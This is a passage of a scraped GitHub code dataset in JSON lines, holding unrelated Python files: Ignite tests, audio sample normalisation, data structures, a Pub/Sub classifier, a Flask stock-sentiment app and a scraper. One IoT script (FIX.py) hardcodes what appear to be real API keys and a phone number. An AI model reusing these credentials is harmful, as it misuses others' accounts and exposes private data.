conf.get(\"%s_hosts\" % host_type):\n instances_per_host = conf.get(\"%ss_per_host\" % host_type, 1)\n for addr in conf[\"%s_hosts\" % host_type]:\n for isinstance_num in range(0, instances_per_host):\n if addr not in addresses:\n addresses.append(addr)\n # Render config files\n zk_enabled = False\n for test_type in ['ignite', 'zk']:\n render_template(\n \"%s/*.tmpl.xml\" % res_dir,\n test_type,\n {\n 'addresses': addresses,\n 'zookeeper_enabled': zk_enabled\n }\n )\n zk_enabled = True\n super().setup()\n # We need only one ZK node\n zookeeper_app = self.get_app_by_type('zookeeper')[0]\n node1 = zookeeper_app.nodes[1]\n zookeeper_app.nodes = {\n 1: node1\n }\n\n def teardown(self):\n super().teardown()\n\n # Helper methods\n\n def run_ignite_cluster(self, restart=False, preloading=True):\n \"\"\"\n Run Ignite cluster\n :param restart: Restart cluster during test\n :return:\n \"\"\"\n cfg = self.tiden.config\n ignite_app = self.get_app_by_type('ignite')[0]\n ignite_app.reset()\n log_print(\"Ignite ver. %s, revision %s\" % (\n cfg['artifacts'][ignite_app.name]['ignite_version'],\n cfg['artifacts'][ignite_app.name]['ignite_revision'],\n )\n )\n ignite_app.start_nodes()\n ignite_app.cu.activate()\n loaded_entries = 0\n if preloading:\n self.caches = ignite_app.get_cache_names()\n loaded_entries = self.preloading_with_rest(ignite_app, 200)\n if restart:\n log_print(\"Ignite cluster restart\")\n ignite_app.cu.deactivate()\n ignite_app.stop_nodes()\n ignite_app.start_nodes()\n ignite_app.cu.activate()\n if preloading:\n found_entries = ignite_app.get_entries_num(self.caches)\n assert loaded_entries == found_entries, \"Entries number after cluster restart: expected %s, found %s\" % (\n loaded_entries, found_entries\n )\n log_print(\"%s entries found\" % found_entries)\n\n def stop_ignite_cluster(self):\n ignite_app = self.get_app_by_type('ignite')[0]\n ignite_app.cu.deactivate()\n ignite_app.stop_nodes()\n ignite_app.delete_lfs()\n\n def preloading_with_rest(self, ignite, num_limit_per_cache):\n \"\"\"\n Load data into all caches by REST PUTALL command\n https://apacheignite.readme.io/docs/rest-api#section-put-all\n :param ignite: Ignite instance\n :param num_limit_per_cache Number of entries per cache base\n :return: Number of loaded entries\n \"\"\"\n url = \"http://%s:%s/ignite?cmd=putall&cacheName={cache}&{entries}\" % (\n ignite.nodes[1]['host'], ignite.nodes[1]['rest_port'])\n put_data = {1: \"\"}\n put_id = 0\n key_id = 1\n for id in range(1, num_limit_per_cache+1):\n # Split entries into groups due to limit due to GET url length\n if ((id-1) % 100) == 0:\n put_id += 1\n put_data[put_id] = \"\"\n key_id = 1\n put_data[put_id] += \"k{key_id}={id}&v{key_id}={id}&\".format(id=id, key_id=key_id)\n key_id += 1\n entry_num = 0\n cache_idx = 0\n throttle = 0\n for cache in self.caches:\n entry_num += num_limit_per_cache\n for put_id in sorted(put_data.keys()):\n full_url = url\n full_url = full_url.format(cache=cache, entries=put_data[put_id][:-1])\n response = requests_get(full_url)\n assert response.status_code == 200, \\\n \"Returned code for request %s: expected 200, found %s\" % (full_url, response.status_code)\n json_reply = response.json()\n assert json_reply['successStatus'] == 0, \\\n \"JSON reply 'successStatus' for request %s: expected 0, found %s\" % (\n full_url, json_reply['successStatus'])\n cache_idx += 1\n if not (throttle % 13):\n log_put(\"Loading data: %s/%s caches processed, %s entries loaded\" % (\n cache_idx, len(self.caches), entry_num)\n )\n throttle = throttle + 1\n log_print()\n return entry_num\n\n def get_shared_folder_path(self):\n return self.shared_storage\n\n def create_shared_snapshot_storage(self):\n ignite_app = self.get_app_by_type('ignite')[0]\n self.shared_storage = ignite_app.su.create_shared_snapshot_storage(unique_folder=True, prefix='regress')\n return self.get_shared_folder_path()\n\n def remove_shared_snapshot_storage(self):\n ignite_app = self.get_app_by_type('ignite')[0]\n return ignite_app.su.remove_shared_snapshot_storage(self.get_shared_folder_path())\n\n def setup_shared_folder_test(self):\n self.create_shared_snapshot_storage()\n\n def teardown_shared_folder_test(self):\n self.tiden.ssh.killall('java')\n self.remove_shared_snapshot_storage()\n","repo_name":"mshonichev/tiden_gridgain_pkg","sub_path":"src/tiden_gridgain/case/regressapptestcase.py","file_name":"regressapptestcase.py","file_ext":"py","file_size_in_byte":6126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41001526740","text":"#-*- coding:utf-8 -*-\nfrom __future__ import print_function\n\nimport os\n#from image_feature import rw\nfrom IOoperate import rwOperate as rw \n\n#遍历文件夹 \ndef get_path_dict(imageDir):\n #遍历根目录\n path_dict = dict()\n for root,_,files in os.walk(imageDir):\n for file in files:\n _, ext = os.path.splitext(file)\n if ext in ['.jpg', '.jpeg', '.png', '.bmp', '.gif', '.tif']: #bmp、gif、jpg、pic、png、tif \n filepath = os.path.join(root,file)\n path_dict[file] = filepath\n return path_dict \n\ndef save_image_path(imageDir, save_path): \n #imageDir : src image path\n #save_path : the proto file save path\n if not os.path.exists(imageDir):\n print('ErrorMessage:', imageDir, ' is not exisit!')\n return -1\n \n path_dict = get_path_dict( imageDir )\n rw.save_dict( path_dict, save_path )\n \n\ndef read_image_path( protofile_path ):\n #read data from the protofile\n #protofile_path: the protofile path\n \n if not os.path.exists( protofile_path):\n print('ErrorMessage:', protofile_path, ' is not exisit !!!')\n return -1\n image_path_dict = rw.read_dict( protofile_path )\n\n return image_path_dict\n\n\n","repo_name":"kennethchn/image_retrieval","sub_path":"FeatureExtract/image_path.py","file_name":"image_path.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41716768241","text":"# A playground for plotting sound amplitude, normalizing sound, and\n# playing chord.\n\nimport os\nimport numpy as np\nfrom scipy.io import wavfile\nimport soundfile as sf\nimport matplotlib.pyplot as plt\nimport sounddevice as sd\n\n### IO / Driver\n\ndef load_and_norm_notes(note_names, dyn='mf', nsamples=300000):\n raw = {\n name: load_note(f'../samples/Piano.{dyn}.{name}.wav')\n for name in note_names\n }\n # Remove none\n raw = {name: data for (name, data) in raw.items() if data is not None}\n\n # Only take that many samples, to speed up processing.\n if nsamples is not None:\n raw = {name: data[:nsamples + 50000] for (name, data) in raw.items()}\n\n # Balance left and right channels\n raw = {name: balance_lr(data) for (name, data) in raw.items()}\n\n # Stereo to mono\n # raw = {name: (data[:,0] + data[:,1]) / 2 for (name, data) in raw.items()}\n\n # Normalize volume and align attacks \n max_normed = norm_max(raw, 0.5)\n normed = norm_attack(max_normed,\n # pp contains quite some noise, so threshold needs to be larger (40%)\n thres=None if dyn != 'pp' else 0.2)\n\n # Crop the result\n if nsamples is not None:\n raw = {name: data[:nsamples] for (name, data) in raw.items()}\n max_normed = {name: data[:nsamples] for (name, data) in max_normed.items()}\n normed = {name: data[:nsamples] for (name, data) in normed.items()}\n\n return {\n 'original': raw,\n 'scaled': max_normed,\n 'shifted': normed,\n }\n\ndef save_notes(notes, dyn):\n for name, ss in notes.items(): \n path = f'../samples/normed/{name}.{dyn}.flac'\n sf.write(path, data=ss, samplerate=44100, subtype='PCM_24')\n print('Save', os.path.split(path)[-1], ss.shape)\n\n### Sound Manipulation\n\n# Linearly scale {name: samples} so that the max value of each sample\n# are given by the anchor.\ndef norm_max(raw, anchor=None):\n # 1. Find max values.\n max_vs = np.array([np.max(amplitude(ss, merge2=True)) for ss in raw.values()])\n\n # 2. Find multipliers to norm.\n if anchor is None:\n anchor = np.max(max_vs)\n pliers = anchor / max_vs\n\n # 3. Apply multipliers.\n out = {name: ss * pliers[i] for (i, (name, ss)) in enumerate(raw.items())}\n\n return out\n\n# Slide {name: samples} so that they reach thres at exactly the margin_before\n# sample. This assumes that in the original samples, thres always happen\n# after margin_before.\ndef norm_attack(raw, thres=None, margin_before=500):\n if thres is None:\n # Guess the thres.\n # Assume the samples are already normalized, we use 20% of the\n # max amp as the threshold.\n thres = np.max(amplitude(next(iter(raw.values())))) * 0.2\n\n out = {}\n for name, ss in raw.items():\n amp = amplitude(ss, merge2=True)\n\n # Find the delay before reaching thres.\n delay = np.argmax(amp > thres)\n\n # Slide by that many.\n out[name] = ss[delay - margin_before:]\n\n return out\n\ndef balance_lr(ss):\n l = np.max(amplitude(ss[:,0]))\n r = np.max(amplitude(ss[:,1]))\n rate = l / r\n return np.column_stack((ss[:,0], ss[:,1] * rate))\n\n### IO\n\ndef load_note(path):\n if not os.path.isfile(path):\n return None\n data, srate = sf.read(path)\n assert srate == 44100\n print('Load', os.path.split(path)[-1], data.shape)\n return data\n\n### Utils\n\n# 0 -> C0\ndef number_to_pitch(n):\n p = 'CDEFGAB'[n % 7]\n nth = int(n / 7)\n return f'{p}{nth}'\n\n# C0 -> 0\ndef pitch_to_number(p):\n return 'CDEFGAB'.index(p[0]) + int(p[1]) * 7\n\n# Make pitch name from given note names and numbers\ndef make_note_names(notes, nums, b=False):\n for no in nums:\n for n in notes:\n if b:\n yield f'{n}{no}'\n yield f'{n}b{no}'\n else:\n yield f'{n}{no}'\n\n# Running mean of data x with window size N\ndef running_mean(x, N):\n cumsum = np.cumsum(np.insert(x, 0, 0))\n return (cumsum[N:] - cumsum[:-N]) / float(N)\n\ndef amplitude(data, window=441, merge2=False):\n # Keep amp only\n data = np.abs(data)\n dim = len(data.shape)\n\n if dim == 1:\n return running_mean(data, window)\n elif dim == 2:\n if merge2:\n return running_mean(data[:,0] + data[:,1], window)\n else:\n d1 = running_mean(data[:,0], window)\n d2 = running_mean(data[:,1], window)\n return np.column_stack((d1, d2))\n\ndef play_some(notes):\n for name, ss in notes:\n print(name)\n sd.play(ss[:100000], 44100)\n sd.wait()\n\ndef main2():\n notes = 'CDEFGAB'\n for n in notes:\n name = f'{n}4'\n _, raw = wavfile.read(f'../samples/Piano.mf.{name}.wav')\n mono = raw[:,0] / 65536 + raw[:,1] / 65536\n # mono = (raw[:,0] / 2 + raw[:,1] / 2).astype('int16')\n play_some([(name, mono)])\n\ndef make_play_chord(notes, chords):\n to_play = []\n N = 100000\n for chs in chords:\n wave = np.sum(np.stack([notes[ch][:N] for ch in chs]), axis=0)\n to_play.append((''.join(chs), wave))\n play_some(to_play)\n\ndef plot_notes(sss):\n n = len(sss)\n for i, (nname, notes) in enumerate(sss.items()):\n plt.subplot(n, 1, i + 1)\n plt.title(nname)\n for name, ss in notes.items():\n plt.plot(amplitude(ss[:100000], merge2=True), label=name)\n plt.legend()\n\n plt.tight_layout()\n plt.savefig('out.pdf', bbox_inches='tight')\n plt.show()\n\ndef try_flac(name='C4'):\n path = f'../samples/Piano.mf.{name}.wav'\n data, rate = sf.read(path, dtype='float64')\n print(data.shape, rate, data.dtype)\n\n # sd.play(data[:100000], rate)\n # sd.wait()\n\n sf.write('foo.flac', data, rate, subtype='PCM_24')\n\ndef make_chord(smap):\n ks = list(smap.keys())\n while ks:\n r = ks[:7]\n ks = ks[7:]\n yield r\n\ndef normalize_all():\n for dyn in ['pp', 'mf', 'ff']:\n ss = load_and_norm_notes(make_note_names('CDEFGAB',\n '1234567', b=True), dyn)\n save_notes(ss['shifted'], dyn)\n\ndef main():\n ss = load_and_norm_notes(make_note_names('CDEF', '4'))\n plot_notes(ss)\n\nmain()\n","repo_name":"overminder/cs510-comp-sound","sub_path":"norm/pg.py","file_name":"pg.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27345179449","text":"from glob import glob\nimport os\nfrom src.utils import verify_dir, load_pickle\nimport pickle\n# from import\nfrom sys import argv\nimport shutil\n\nbase_path = '/data/infinity-mirror/'\ndest_path = '/data/infinity-mirror/cleaned-new-new/'\ndatasets = ['eucore', 'flights', 'clique-ring-500-4', 'tree', 'chess']\n\n# for dataset in datasets:\ndataset = argv[1]\nassert dataset in datasets\n\ndataset_path = os.path.join(base_path, dataset)\nmodels = set(model for model in os.listdir(dataset_path)\n if not model.startswith('_'))\n\nfor model in models:\n model_path = os.path.join(dataset_path, model)\n new_model_path = os.path.join(dest_path, dataset, model)\n verify_dir(new_model_path)\n #if not os.path.isdir(new_model_path):\n # try:\n # os.mkdir(new_model_path)\n # except OSError:\n # print(f'ERROR: could not make directory {model_path} for some reason')\n\n all_pickle_files = set(file for file in os.listdir(model_path) if file.endswith('.pkl.gz'))\n non_pickle_files = set(file for file in all_pickle_files if 'seq' not in file and 'rob' not in file)\n\n seq_pickle_files = set(file for file in all_pickle_files if 'seq' in file and 'rob' not in file)\n rob_pickle_files = set(file for file in all_pickle_files if 'rob' in file and 'seq' not in file)\n\n non_seq_pickle_files = set(file for file in all_pickle_files if 'seq' not in file)\n non_rob_pickle_files = set(file for file in all_pickle_files if 'rob' not in file)\n\n print(f'{dataset}, {model}, {len(all_pickle_files)}, {len(non_seq_pickle_files)}, {len(non_rob_pickle_files)}')\n\n t = [0 for x in range(50)]\n\n if len(non_pickle_files) == 0:\n pickles = seq_pickle_files\n else:\n pickles = non_seq_pickle_files\n\n for root_file in pickles:\n parts = root_file.split('_')\n trial_id = int(parts[parts.index('20') + 1].strip('.pkl.gz'))\n\n trial_id += t[trial_id - 1]*50\n t[(trial_id - 1) % 50] += 1\n #if trial_id.endswith('.pkl.gz'): # if trial id is not correct for list files\n # trial_id = trial_id[: trial_id.find('.pkl.gz')]\n\n root_path = os.path.join(model_path, root_file)\n root_dest_path = os.path.join(dest_path, dataset, model, f'list_20_{trial_id}.pkl.gz')\n\n if os.path.isfile(root_dest_path):\n continue\n print(f'src: {root_path} dest: {root_dest_path}')\n\n root = load_pickle(root_path)\n if isinstance(root, list): # it's in the right format\n shutil.copyfile(root_path, root_dest_path)\n else:\n graphs = [root.graph]\n graphs.extend(tnode.graph for tnode in root.descendants)\n pickle.dump(graphs, open(root_dest_path, 'wb'))\n print()\nprint()\n","repo_name":"satyakisikdar/infinity-mirror","sub_path":"scripts/misc/cleanup_dir.py","file_name":"cleanup_dir.py","file_ext":"py","file_size_in_byte":2735,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"25470201112","text":"import torch\nimport numpy as np\nimport os\nfrom pubsub import publish_payload, consume_payload\nfrom models.builder import build_classifier\nfrom constants import params\nfrom data.dataset import get_dataloader\nimport time\nfrom google.cloud import pubsub_v1 as ps\nimport json\nimport cv2\n\nif __name__ == '__main__':\n model_name = 'model_epoch_995.pt'\n params['batch_size'] = params['eval_batch_size']\n test_loader = get_dataloader(params, 'test')\n model = build_classifier(params).to(params['device'])\n state_dict = torch.load(\n os.path.join('logs', model_name),\n map_location = torch.device(params['device'])\n )\n model.load_state_dict(state_dict['model_state_dict'])\n #model.eval()\n\n def process_payload(message):\n message.ack()\n message = json.loads(message.data)\n #print(\"Received {}.\".format(message))\n img = np.array(message['image'], dtype = np.float32)\n x = torch.from_numpy(\n (np.expand_dims(\n np.expand_dims(img, 0), 0\n ) / 255.0).astype(np.float32)\n )\n y_pred = model(x)\n print('Processed Output: {}, Target: {}'.format(torch.argmax(y_pred, -1).detach().cpu().numpy()[0], message['target']))\n\n publisher = ps.PublisherClient()\n for i, (x, y) in enumerate(test_loader):\n x, y = x.to(params['device']), y.to(params['device'])\n img = x.detach().cpu().numpy()[0][0]\n y = int(y.detach().cpu().numpy()[0])\n payload = {\"data\" : 'Payload Data', \"timestamp\": time.time(), \"image\" : img.tolist(), \"target\" : y}\n publish_payload(params, publisher, payload, params['PUB_SUB_TOPIC'])\n subscriber = ps.SubscriberClient()\n consume_payload(params, params['PUB_SUB_SUBSCRIPTION'], process_payload, subscriber)\n","repo_name":"shandilya1998/TestVector.ai","sub_path":"app_pubsub.py","file_name":"app_pubsub.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27925009115","text":"from pyhcl import *\n\n\nclass ShiftRegister(Module):\n io = IO(\n i=Input(Bool),\n o=Output(Bool),\n en=Input(Bool),\n )\n\n r0 = RegInit(U(0))\n r1 = RegInit(U(0))\n r2 = RegInit(U(0))\n r3 = RegInit(U(0))\n\n with when(io.en):\n r0 @= io.i\n r1 @= r0\n r2 @= r1\n r3 @= r2\n\n io.o @= r3\n\n\ndef main():\n f = Emitter.dump(Emitter.emit(ShiftRegister()), \"shiftR.fir\")\n Emitter.dumpVerilog(f)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"scutdig/PyChip-py-hcl","sub_path":"example/ShiftRegister.py","file_name":"ShiftRegister.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"31"} +{"seq_id":"5820162684","text":"class Node:\n def __init__(self, val=None, next=None):\n self.val = val\n self.next = next\n\n def __str__(self):\n return str(self.val)\n\ndef create_linked_list(*args):\n current_node = None\n prev_node = None\n head = None\n for arg in args:\n node = Node(arg)\n\n if current_node is None:\n head = node\n\n current_node = node\n\n if prev_node is not None:\n prev_node.next = current_node\n prev_node = current_node\n\n prev_node = current_node\n\n return head\n\ndef merge_sorted_list(l1, l2):\n prev_ptr_l1 = None\n ptr_l1 = l1\n\n ptr_l2 = l2\n\n while ptr_l1 is not None and ptr_l2 is not None:\n if ptr_l1.val <= ptr_l2.val:\n prev_ptr_l1 = ptr_l1\n ptr_l1 = ptr_l1.next\n elif ptr_l1.val > ptr_l2.val:\n # So insert it in between the prev one and this one\n new_node = Node(ptr_l2.val, ptr_l1)\n\n if prev_ptr_l1 is None:\n # This means we are at head. So create a new node\n prev_ptr_l1 = new_node\n prev_ptr_l1.next = ptr_l1\n l1 = prev_ptr_l1\n ptr_l1 = l1\n prev_ptr_l1 = None\n else:\n prev_ptr_l1.next = new_node\n prev_ptr_l1.next.next = ptr_l1\n prev_ptr_l1 = new_node\n\n ptr_l2 = ptr_l2.next\n\n return l1\n\ndef ll_to_str(l):\n s = \"\"\n while l is not None:\n s += str(l.val) + \" \"\n l = l.next\n\n return s\n\ndef test_case(l1, l2):\n l3 = merge_sorted_list(l1, l2)\n print(ll_to_str(l3))\n\n\ndef main():\n l1 = create_linked_list(1, 3, 5, 7, 9)\n l2 = create_linked_list(2, 4, 6, 8, 10)\n\n test_case(l1, l2)\n\n l1 = create_linked_list(10, 12, 14)\n l2 = create_linked_list(1, 2, 3)\n\n test_case(l1, l2)\n\n l1 = create_linked_list(1, 3, 5, 7, 9)\n l2 = create_linked_list(12, 14, 16, 18)\n\n test_case(l1, l2)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"ssarangi/algorithms","sub_path":"epi/linked_list/merge_sorted_list.py","file_name":"merge_sorted_list.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"17882017693","text":"class Node():\n def __init__(self,data : str):\n self.data : str = data\n self.next : Node = None\n self.prev : Node = None\nclass double_linked():\n def __init__(self):\n self.head : Node = None\n self.end : Node = None\n def append(self,data: str):\n new_node = Node(data)\n if self.end != None:\n new_node.prev = self.end\n self.end.next = new_node\n self.end = new_node\n return\n self.head = new_node\n self.end = new_node\n def __str__(self):\n result = \"\"\n temp_node = self.head\n while temp_node != None:\n result += temp_node.data + \",\"\n temp_node = temp_node.next\n return result\n def find(self,data : str) -> Node:\n temp_node = self.head\n while temp_node != None:\n if temp_node.data == data:\n return temp_node\n temp_node = temp_node.next\n return None\n def print_reverse(self) -> str:\n result = \"\"\n temp_node = self.end\n while temp_node != None:\n result += temp_node.data + \",\"\n temp_node = temp_node.prev\n return result\nif __name__ == \"__main__\":\n # NOTE: Líneas para experimentar con las funciones este archivo sirve para controlar las listas del juego y que sean circulares ya queeee\n '''\n # NOTE: Manejo de la lista\n list_double = double_linked() # Crear una lista\n list_double.append(\"Python\") # append para agregar datos a la lista\n list_double.append(\"JavaScript\")\n list_double.append(\"Java\")\n # NOTE: Nodos head\n print(\"NODOS HEAD\")\n Nodo = list_double.head\n print(\"Nodo actual: \" , str(Nodo.data))\n Nodo = Nodo.next\n print(\"Nodo siguiente: \" , str(Nodo.data))\n Nodo = Nodo.next\n print(\"Nodo * del siguiente: \" , str(Nodo.data))\n if Nodo == list_double.end:\n print('Has llegado al final de la lista')\n Nodo = Nodo = list_double.head\n print(\"Nodo * del siguiente: \" , str(Nodo.data))\n Nodo = Nodo.next\n print(\"Nodo siguiente: \" , str(Nodo.data))\n Nodo = Nodo.next\n print(\"Nodo * del siguiente: \" , str(Nodo.data))\n # NOTE: Nodos end\n print(\"NODOS END\")\n Nodo = list_double.end\n print(\"Nodo actual: \" , str(Nodo.data))\n Nodo = Nodo.prev\n print(\"Nodo siguiente: \" , str(Nodo.data))\n Nodo = Nodo.prev\n print(\"Nodo * del siguiente: \" , str(Nodo.data))\n if Nodo == list_double.head:\n print('Has llegado al final de la lista')\n Nodo = Nodo = list_double.end\n print(\"Nodo * del siguiente: \" , str(Nodo.data))\n Nodo = Nodo.prev\n print(\"Nodo siguiente: \" , str(Nodo.data))\n Nodo = Nodo.prev\n print(\"Nodo * del siguiente: \" , str(Nodo.data))\n '''\n# /^\\/^\\\n# _|__| O|\n#\\/ /~ \\_/ \\\n# \\____|__________/ \\\n# \\_______ \\\n# `\\ \\ \\\n# | | \\\n# / / \\\n# / / \\\\\n# / / \\ \\\n# / / \\ \\\n# / / _----_ \\ \\\n# / / _-~ ~-_ | |\n# ( ( _-~ _--_ ~-_ _/ |\n# \\ ~-____-~ _-~ ~-_ ~-_-~ /\n# ~-_ _-~ ~-_ _-~\n# ~--______-~ ~-___-~","repo_name":"davidmozzafiato/Proyecto_EDA_Equipo3","sub_path":"PROYECTO/Viable/S_N_A_K_E/LLC.py","file_name":"LLC.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33952115350","text":"\"\"\"\n# Sample code to perform I/O:\n\nname = input() # Reading input from STDIN\nprint('Hi, %s.' % name) # Writing output to STDOUT\n\n# Warning: Printing unwanted or ill-formatted data to output will cause the test cases to fail\n\"\"\"\n\n# Write your code here\nfrom bisect import bisect_left\n\nn = int(input())\na = sorted(list(map(int, input().strip().split())))\nq = int(input())\nfor _ in range(q):\n m = int(input())\n print(bisect_left(a, m))\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerearth/Algorithms/Zoro goes Sword Shopping/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"6769918295","text":"#get all the doc and doc features\n#input training_data\n\nimport sys\nimport os\nfrom sets import Set\ndocs = Set()\nf = open(sys.argv[1])\nfout = open(sys.argv[2], \"w\")\nfor line in f:\n line = line[:-1]\n line_arr = line.split(\"|\")\n for i in range(2, len(line_arr)):\n docs.add(line_arr[i].strip(' '))\nsorted_docs = sorted(docs)\nfor doc in sorted_docs:\n fout.write(doc+\"\\n\")\n\n","repo_name":"salonipotdar/NewsPersonalization","sub_path":"personalization/get_all_doc.py","file_name":"get_all_doc.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23350228252","text":"from gpiozero import DistanceSensor,Button\nimport time\nfrom signal import pause\nfrom keypad import keypad\nimport RPi.GPIO as GPIO\nimport requests\nimport json\nimport I2C_LCD_driver\nimport subprocess\nmylcd = I2C_LCD_driver.lcd()\nimport subprocess\nimport sys\n\nEMULATE_HX711=False\nreferenceUnit = -441\n\nbutton=Button(18)\nsensor= DistanceSensor(17,27)\n\nmylcd.lcd_display_string(\"masukan userid\", 1,0)\nmylcd.lcd_display_string(\"******\", 2,3)\n\nif not EMULATE_HX711:\n import RPi.GPIO as GPIO\n from hx711 import HX711\nelse:\n from emulated_hx711 import HX711\n\ndef cleanAndExit():\n print(\"Cleaning...\")\n\n if not EMULATE_HX711:\n GPIO.cleanup()\n\n print(\"Bye!\")\n sys.exit()\n\nhx = HX711(5, 6)\n\nhx.set_reading_format(\"MSB\", \"MSB\")\nhx.set_reference_unit(referenceUnit)\n\nhx.reset()\n\nhx.tare()\n\n # val =max (0,int(hx.get_weight(5)))\n # print(val)\n\nwhile True:\n val =max (0,int(hx.get_weight(5)))\n kp = keypad(columnCount = 3)\n gape = 190\n jarak = gape - (sensor.distance*200) #tinggi badan\n berat_ideal = (jarak - 100) - 0.1*(jarak-100)\n seq = []\n for i in range(6):\n digit = None\n while digit == None:\n digit = kp.getKey()\n seq.append(digit)\n time.sleep(0.4)\n print(seq)\n str1 = ''.join(str(e) for e in seq)\n data = '\\r\\n{\\r\\n \"m2m:cin\": {\\r\\n \"cnf\": \"message\",\\r\\n \"con\": \"\\r\\n {\\r\\n \\t \\\\\"user_id\\\\\": \\\\\"'+str(str1)+'\\\\\",\\r\\n \\\\\"height\\\\\": \\\\\"'+str(jarak)+'\\\\\",\\r\\n \\\\\"ideal_weight\\\\\": \\\\\"'+str(berat_ideal)+'\\\\\",\\r\\n \\\\\"weight\\\\\": \\\\\"'+str(val)+'\\\\\"\\r\\n }\\r\\n \"\\r\\n }\\r\\n}'\n #data = '\\r\\n{\\r\\n \"m2m:cin\": {\\r\\n \"cnf\": \"message\",\\r\\n \"con\": \"\\r\\$\n url = 'https://platform.antares.id:8443/~/antares-cse/antares-id/sohit/test'\n headers = {'cache-control':'no-cache','content-type':'application/json;ty=4','x-m2m-origin':'2f2b5c0e49d365b0:f68b99c78b62a9b3'}\n requests.post(url,headers=headers,data=data)\n subprocess.call([\"curl\", \"-X\", \"POST\", \"https://api.thebigbox.id/sms-notification/1.0.0/messages\", \"-H\", \"accept: application/x-www-form-urlencoded\", \"-H\", \"x-api-key: 6Bx6rLhdyxCmaQxfWtjkMQYFIjIzXZEt\", \"-H\", \"Content-Type: application/x-www-form-urlencoded\", \"-d\", \"msisdn=082120826723content= user_id%s tinggi_anda%d berat_ideal%d \"%(str1,jarak,berat_ideal)])\n print(\"sukses\")\n\n\n","repo_name":"nsohit/tiban-antares-bigbox","sub_path":"FIX.py","file_name":"FIX.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40450216621","text":"from flask import Flask, jsonify, request\nimport json\nimport ast\nfrom newsscraper import *\nfrom discussionscraper import *\nfrom predict import *\nimport yfinance as yf\n\nfrom dotenv import load_dotenv\nfrom pathlib import Path\nimport os\nenv_path = Path('.') / '.env'\nload_dotenv(dotenv_path=env_path)\n\nkey = os.getenv(\"KEY\")\nendpoint = os.getenv(\"ENDPOINT\")\npredictkey = os.getenv(\"PREDICTIONKEY\")\npredictendpoint = os.getenv(\"PREDICTIONENDPOINT\")\n\napp = Flask(\"App\", static_folder='./client/build', static_url_path='/')\n\n@app.errorhandler(404)\ndef not_found(e):\n return app.send_static_file('index.html')\n\n@app.route(\"/news\", methods=[\"GET\"])\ndef news():\n symbol = request.args.get('symbol')\n client = newsauthenticate_client(key, endpoint)\n pos, neu, neg = newssentiment_analysis_example(client, symbol)\n data = {\"Positive\": pos*100, \"Neutral\": neu*100, \"Negative\": neg*100}\n response = app.response_class(\n response=json.dumps(data),\n status=200,\n )\n return response\n\n@app.route(\"/discussion\", methods=[\"GET\"])\ndef discussion():\n symbol = request.args.get('symbol')\n client = discauthenticate_client(key, endpoint)\n pos, neu, neg = discsentiment_analysis_example(client, symbol)\n data = {\"Positive\": pos*100, \"Neutral\": neu*100, \"Negative\": neg*100}\n response = app.response_class(\n response=json.dumps(data),\n status=200,\n )\n return response\n\n@app.route(\"/predict\", methods=[\"POST\"])\ndef predict():\n allowSelfSignedHttps(True)\n content = request.get_json()\n symbol = content['symbol']\n\n ticker = yf.Ticker(symbol)\n openprice = ticker.info[\"bid\"]\n high = ticker.info[\"dayHigh\"]\n low = ticker.info[\"dayLow\"]\n close= 0\n\n if (symbol != \"MSFT\" and symbol != \"AC.TO\" and symbol != \"AAPL\" and symbol != \"TSLA\" and symbol != \"ENB.TO\" \n and symbol != \"TD.TO\" and symbol != \"BABA\" and symbol != \"FB\" and symbol != \"GOOS.TO\"):\n symbol = \"^GSPC\"\n \n data = {\n \"Inputs\": {\n \"WebServiceInput0\":\n [\n {\n 'Datetime': f\"{content['datetime']}\",\n 'Symbol': f\"{symbol}\",\n 'Open': f\"{openprice}\",\n 'High': f\"{high}\",\n 'Low': f\"{low}\",\n 'Close': f\"{close}\",\n },\n ],\n },\n \"GlobalParameters\": {\n }\n }\n body = str.encode(json.dumps(data))\n headers = {'Content-Type':'application/json', 'Authorization':('Bearer '+ predictkey)}\n req = urllib.request.Request(predictendpoint, body, headers)\n \n\n result = None\n try:\n response = urllib.request.urlopen(req)\n decode = response.read().decode(\"utf-8\")\n result = ast.literal_eval(decode)\n except urllib.error.HTTPError as error:\n result = \"error\"\n\n data = {\"currentprice\": openprice, \"result\": result}\n response = app.response_class(\n response=json.dumps(data),\n status=200,\n )\n return response\n\nif __name__ == \"__main__\": \n app.run(debug=True)\n","repo_name":"ChickanWang/ProfitProphet","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"17063969939","text":"import pandas as pd\nfrom lxml import etree\nimport json\nimport requests\ndata_list = []\nfor i in range(0,6660,10):\n url = 'https://api.finder.partners.aws.a2z.com/search?locale=en&highlight=on&sourceFilter=searchPage&size=10'+'&from='+str(i)\n\n response = requests.get(url=url)\n response.encoding = 'utf-8'\n data = response.text\n data_dict = json.loads(data)\n\n for j in data_dict['message']['results']:\n id = j['_id']\n txt = j['_source']\n name = txt['name']\n url = 